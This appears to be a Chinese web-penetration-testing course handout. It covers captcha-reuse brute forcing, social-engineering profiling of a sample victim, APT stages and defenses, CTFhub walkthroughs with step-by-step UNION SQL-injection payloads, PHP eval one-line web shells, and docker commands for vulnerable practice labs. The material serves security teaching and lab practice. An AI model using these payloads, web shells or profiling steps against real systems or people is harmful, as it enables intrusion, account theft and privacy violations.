验证码的分类:手机短信、手机语音、通用文字、加减法、非通用文字、非通用文字加背景随机加拉伸、无感知、滑动拼图、文字点选、图标点选、推理拼图、短信上行、语序点选、空间推理、语音验证等等。
验证码绕过(on client)
账号枚举作用:
在账号位置使用不存在账号,正确验证码,是为了验证是否有枚举漏洞。再输入个肯定存在的账号,不正确的密码,根据不同提示判断账号是否存在。
当未输入验证码的时候,提示“请输入验证码”:
- 验证验证码是否生效
当输入错误验证码的时候提示“验证码输入错误”:
- 系统会校验验证码
当输入正确验证码的时候提示“用户名或者密码不存在”:
username or password is not exists~
我们尝试截取登录处数据包,修改密码并多次重放之后发现该验证码依然有效,说明可能存在验证码可以重复使用的情况:
- burp 抓包,发送到 repeater 模块测试
于是进行暴力破解,破解出密码为123456:
查看前端代码:
跟进createCode()函数:
发现造成该验证码重复使用的原因是:验证码是在前端利用JS语句生成和刷新的,我们通过截取数据包进行重放绕过了客户端刷新验证码的机制。
- 绕过方式:禁用js、删除函数、burp抓包
验证码绕过(on server)
截取登录处的数据包:
输入错误的验证码返回“验证码错误”:
输入正确的验证码返回“用户名或者密码不存在”:
username or password is not exists~
多次更换密码重放之后,服务端仍然返回“用户名或者密码不存在”,证明该验证码依然可以重复使用:
于是仍然可以进行暴力破解,破解出密码为admin/123456:
查看源代码:app\vul\burteforce\bf_server.php
造成该验证码重复使用的原因是:验证码在验证之后没有销毁$_SESSION['vcode'],造成了重复使用。
社会工程学(骗)
主要内容:
- 社会工程学介绍及敏感信息收集
- 社工邮件钓鱼分析
- APT 攻击简介及攻击方式还原
- APT 攻击防范
- 常规 CTF 比赛题讲解及还原
社会工程学
社会工程学(Social Engineering):是一种通过人际交流的方式获得信息的非技术渗透手段。不幸的是,这种手段非常有效,而且应用效率极高。事实上,社会工程学已是企业安全最大的威胁之一。
社工三大法:网络钓鱼、电话钓鱼、伪装模拟
社工师的分类:黑客、渗透测试、间谍、特工、gov、公司内部员工、诈骗人员、猎头、销售人员、普通人
举例说明:
某黑客知道了小明的手机号,一般来说,很有可能手机号和QQ号一致,进而我们可以获取小明的QQ昵称, 家乡,性别,年龄等一些基本信息。然后通过小明的QQ获取空间个人一些相册,自己发的一些说说,写的一些 日志,自己对别人的评论,别人对自己的评论,留言板等信息,这些可以对小明进行综合分析,分析出小明是 一个什么样的人。接着通过小明的手机号,获取小明的微信号,进一步获取更多个人信息,再然后通过网站遍 历获取小明所有注册过的网站(比如拿手机去注册,看账号是否已被注册),通过各个网站进一步获取信息。 现在要进行深一步的了解了,利用小明生日组合或者名字进行暴力破解,破解小明注册的一个垃圾网站的 账号密码,然后登录其他的网站。通常防范意识不高的人员,很多账号密码都是一样。通过这种方法可以获取 小明的学历,小明的所有好友及其姓名,还有和别人的聊天记录,现在开始有交集了,进而对其他人进行收 集。最后把小明的所有收集到的信息进行对比和整理,掌握小明的基本信息,可以进行贩卖。 完成一个目标人的基本画像,对攻击人员的信息溯源。
分析,小明的信息是如何泄露的?
有以下可能:
1、小明注册过太多的网站,网站被黑客攻击,黑客获取到个人信息
2、小明各个系统、软件、程序使用的密码相同
3、小明不经常修改密码,导致多年前的社工库密码依然有效等等
敏感信息收集
渗透测试的本质是信息收集,对于标准的渗透测试人员来说,当明确目标做好规划之后首先应当进行的便是信息收集,收集内容包括但不限于IP地址段、域名信息、邮件地址、文档图片数据、公司地址、公司组织架构、联系电话/传真号码、人员姓名/职务、目标系统使用的技术架构、公开的商业信息等等。
收集的信息越多,越能够更轻松的进行渗透测试。
1、whois收集
Whois可以用来查询域名是否已经被注册,如果已经注册,将会查询域名的详细信息,比如:域名注册商、域名注册日期、域名注册人联系方式等。
whois查询接口
https://api.devopsclub.cn/
https://whois.chinaz.com/
https://whois.aliyun.com/
http://whoissoft.com/
https://whois.domain.cn/
等等
2、爬虫
网络爬虫是一种按照一定的规则自动地抓取万维网信息的程序或脚本。当我们想获取迫切需要的信息时,就需要用到搜索,通过一些搜索引擎来获取信息的链接。
爬虫工具:AWVS,Burpsuite,rad
3、搜索引擎
多种搜索语法可以更快速地找到想要的内容。Google是全球最大的搜索引擎公司,每天处理数以亿计的搜索请求。灵活运用Google搜索技巧可以帮助我们更快速、更准确地在浩瀚的互联网中找到需要的信息
inurl:搜索包含有特定字符的URL。例如,输入“inurl:hack”,则可以找到带有hack字符的URL。
intitle:搜索网页标题中包含有特定字符的网页。例如,输入“intitle:网络空间安全”,这样就能找到网页标题中带有网络空间安全的网页。
site:限制搜索的域名范围。例如,输入“site:xxx.com”,就可以只搜索域名为 xxx.com的网页。
filetype:搜索指定类型的文件。例如,想要下载 Word 文档,那么只要输入“filetype:doc(docx)”,就可以找到很多Word文档。
4、Nmap:是一款用于网络发现和安全审计的网络安全工具
5、DNS分析:使用工具DNSenum以及Maltego
6、指纹识别:web指纹,系统指纹,中间件指纹,防火墙指纹
7、邮箱收集:通过收集邮箱爆破邮件服务器,发送钓鱼邮件,执行高级APT控制
8、子域名收集:爆破,第三方接口,SSL证书,域传送等
9、C段收集:利用nmap,masscan等端口扫描工具进行端口扫描
10、社工库:寻找目标已经泄露的数据
等等
APT攻击
主要内容:
- APT 攻击简介及攻击方式还原
- APT 攻击防范
APT概述
APT简介
APT(Advanced Persistent Threat)即高级持续性威胁,是一种周期较长、隐蔽性极强的攻击模式。攻击者精心策划,长期潜伏在目标网络中,搜集攻击目标的各种信息,如业务流程、系统运行状况等,伺机发动攻击,窃取目标核心资料。
APT攻击常用手段:
1、水坑攻击(Watering Hole)
攻击者会在攻击前搜集大量目标的信息,分析其网络活动的规律,寻找其经常访问的网站弱点,并事先攻击该网站,等待目标来访,伺机进行攻击。
2、路过式下载(Drive-by Download)
在用户不知情的情况下,下载间谍软件、计算机病毒或任何恶意软件。被攻击的目标在访问一个网站、浏览电子邮件或是在单击一些欺骗性的弹出窗口时,可能就被安装了恶意软件。
3、网络钓鱼和鱼叉式网络钓鱼(Phishing and Spear Phishing)
攻击者企图通过网络通信,伪装成一些知名的社交网站、政府组织、金融机构等来获取用户的敏感信息。
4、0day漏洞(Zero-day Exploit)
0day漏洞:漏洞是客观存在的,只是在场面上没有被发现纰漏。
攻击者在进入目标网络后,可轻易利用零日漏洞对目标进行攻击,轻松获取敏感数据。
APT攻击主要分为6个阶段:
- 情报收集
- 单点突破:打开薄弱点实施单点突破
- 命令与控制(C&C通信)
- 横向渗透:类似SSRF,拿下服务器做横向突破
- 资产/资料发掘
- 资料窃取
APT攻击方式还原
黑客通过踩点目标,收集到目标A的手机号188XXXXXXXX
于是通过社工的手段获取到了A的QQ号,于是黑客给A发送了一封钓鱼邮件,邮件内容如下:
由于A的安全意识薄弱导致,点击了参考附件中的木马,导致个人终端被黑客进行了控制
黑客通过在公司内网潜伏数日,横向渗透获取了公司重要的服务器系统控制权限,拿到了自己想要的信息
APT攻击防范
- 恶意代码检测
基于特征码的检测:通过对恶意代码的静态分析,找到该恶意代码中具有代表性的特征信息(指纹),如十六进制的字节序列、字符串序列等,然后再利用该特征进行快速匹配。
基于启发式的检测:通过对恶意代码的分析获得恶意代码执行中通用的行为操作序列或结构模式,若行为操作序列或结构模式的加权值总和超过某个指定的阈值,即判定为恶意代码。 - 主机应用保护
加强系统内各主机节点的安全措施,确保员工个人电脑以及服务器的安全。 - 网络入侵检测
APT攻击恶意代码所构建的命令控制通道通信模式一般来说不经常变化,采用传统入侵检测方法来检测APT的命令控制通道 - 大数据分析检测
采集网络设备的原始流量及终端和服务器日志,进行集中的海量数据存储和深入分析,发现APT攻击的蛛丝马迹后,通过全面分析海量日志数据来还原APT攻击场景。
常规CTF赛题讲解
CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式,已经成为全球范围网络安全圈流行的竞赛形式。
2013年全球举办了超过五十场国际性CTF赛事。而DEFCON作为CTF赛制的发源地,也成为了全球最高技术水平和影响力的CTF竞赛,类似于CTF赛场中的“世界杯” 。 现在国家愈发重视CTF,每年都会有一些大型的比赛,汇聚了全国各地的网安人才,比如网鼎杯,强网杯,陇剑杯等等。
比赛形式
- 理论赛
- 夺旗赛:Crypto、Web、MISC、Reverse、PWN
- AWD网络攻防赛(团队赛,混战)
- CFS网络攻防赛(团队赛,综合靶场)
这里,关注Web渗透测试,所涉及的常见CTF比赛题目如下:
所用环境:在线平台 https://www.ctfhub.com
注册一个账号
登录系统后,点击技能树,可以看到各类题型
Web-信息泄露
信息泄露之PHPINFO
访问启动的环境链接
点击查看phpinfo
搜索flag发现flag:ctfhub{fa0f2cd9417bcbe4188d333f}
提交flag解题成功
Web-密码口令
默认口令
开启题目
访问链接
发现是亿邮邮件网关系统
通过搜索引擎可以搜索到该系统的默认账号密码有三个:
http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0106514
admin/+-ccccc eyougw/admin@(eyou) eyouuser/eyou_admin
利用eyougw/admin@(eyou)成功登录系统,发现flag
Web-SQL注入
选一个字符型注入
启动环境,打开链接
输入1试试?
回显:
知道了sql语句是:select * from news where id='1'
还有两处内容
ID: 1
Data: ctfhub
构造语句
1' order by 2 # 回显
1' order by 3 # 不回显,判断出数据库语句查询了两列
进行联合查询,将前面置为-1
-1' union select database(),2 #
获取数据库名字为sqli
查找库里面的所有表名
-1' union select group_concat(table_name),2 from information_schema.tables where table_schema='sqli' #
发现flag表
查flag表里的所有字段
-1' union select group_concat(column_name) ,2 from information_schema.columns where table_name='flag' #
发现flag字段
-1' union select flag,2 from sqli.flag #
查字段flag的内容得到flag
Crypto-base
古典密码
base系列,网站目前没有提供环境
取之前做过的题目附件,题目如下:
V1ROU2JXRklWbWxsTTJ4MlpGTkNhR050VldkamJXeHVZVWhTT1E9PQ==
大写字母、小写字母、数字、+、/
该加密字符串结尾处有等号,判断是base加密,经过base64三次解密,得到flag
MISC-数据隐写
简单隐写
开启题目,不同于web题,杂项类题目会提供一个题目附件,下载之后通常是一个压缩包:
解压后得到一张图片,从图片中获取flag:
扫描二维码,是CTFhub的微信公众号:
之前在学习文件上传时说过,可以通过16进制工具查看文件的真实内容,使用010editor查看,发现
flag:
或者使用命令行
hexdump -C ctfhub.png
压缩文件爆破
压缩文件爆破工具: ARCHPR
图片base64
<img src="data:image/png;base64,xxxxx" alt="">
再介绍几个现成的Web 漏洞 CTF 在线练习环境
- CTF TIME : https://ctftime.org/
- XCTF攻防世界 :https://adworld.xctf.org.cn
- SQL注入挑战平台 :http://redtiger.labs.overthewire.org
- 韩国 Web 安全挑战平台 :https://webhacking.kr/
- Websec CTF练习平台 :http://www.websec.fr/
- 网络信息安全攻防学习平台 :http://hackinglab.cn/index.php
- 国外的 XSS 挑战平台 :http://prompt.ml/
其它漏洞
主要内容:
- 渗透测试之其它漏洞
- 登录页面渗透测试常用的几种思路与总结
靶场
dvwa
DVWA(Damn Vulnerable Web Application)是一款比较著名的漏洞靶场,很多
Web 安全的初学者都会拿它来练习,一些高校以及相关书籍里面也会介绍它。
DVWA的项目开源地址为https://github.com/digininja/DVWA。
docker run -d --name dvwa -p 8080:80 -p 33060:3306 sagikazarmark/dvwa docker run -d --name dvwa2 -p 8082:80 -p 33060:3306 citizenstig/dvwa # csrf Medium 代码与课件对应,所以用这个
pikachu
Pikachu 也是一款 Web 漏洞靶场,涵盖各种 Web 漏洞类型的练习,也是基于
PHP+MySQL搭建的平台,是由国人开发的。平台采用中文描述和基本的页面设计,
相比sqli-labs 这种单调的界面还是好看很多的。
Pikachu的项目开源地址为
https://github.com/zhuifengshaonianhanlu/pikachu。
docker run -d --name pikachu -p 8083:80 -p 33063:3306 area39/pikachu
sqli-labs
sqli-labs 是一款用于学习 SQL 注入的靶场平台,覆盖了各种类型的 SQL注
入, 题目共 75 道,按难度划分为 4 页。
源地址为 https://github.com/Audi-1/sqli-labs
docker run -dt --name sqli-labs -p 8085:80 --rm acgpiano/sqli-labs
upload-labs
docker run --name upload-labs -d -p 8084:80 cuer/upload-labs
webug
docker run -d -p 8082:80 -p 33060:3306 area39/webug #支付漏洞 默认账号:admin/admin 数据库账号:root/toor
漏洞利用
VulHub 真实漏洞靶场
Vulhub 是一款基于 Docker 和 docker-compose的漏洞测试靶场,进入对应目
录 并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,
让安 全研究者更加专注于漏洞原理本身。Vulhub的项目开源地址为
https://github.com/vulhub/vulhub。
我们需要先从 GitHub 上下载 VulHub,然后进行相应目录去创建和运行容器
$ git clone https://github.com/vulhub/vulhub $ cd vulhub/flask/ssti $ sudo docker-compose up -d
#Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615) #Tomcat版本:7.0.0-7.0.79、8.5.19 docker run --rm -d --name tomcat -p 8080:8080 docker.io/cved/cve-2017-12615 #S2-048 远程代码执行漏洞(CVE-2017-9791) #影响版本: 2.0.0 - 2.3.32 docker run --rm --name s2-048 -d -p 8082:8080 docker.io/piesecurity/apache-struts2-cve-2017-5638 #JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149) docker run --rm --name cve-2017-12149 -d -p 8083:8080 docker.io/hackingpub/cve-2017-12149
<?php phpinfo();?> <?php eval(@$_GET['a']);?> <?php eval(@$_POST['a']);?>
docker start $(docker ps -a -q) docker stop $(docker ps -a -q) docker rm -f `docker ps -a -q` docker rm `docker ps -qf status=exited`
grant all privileges on *.* to root@'%' identified by 'root';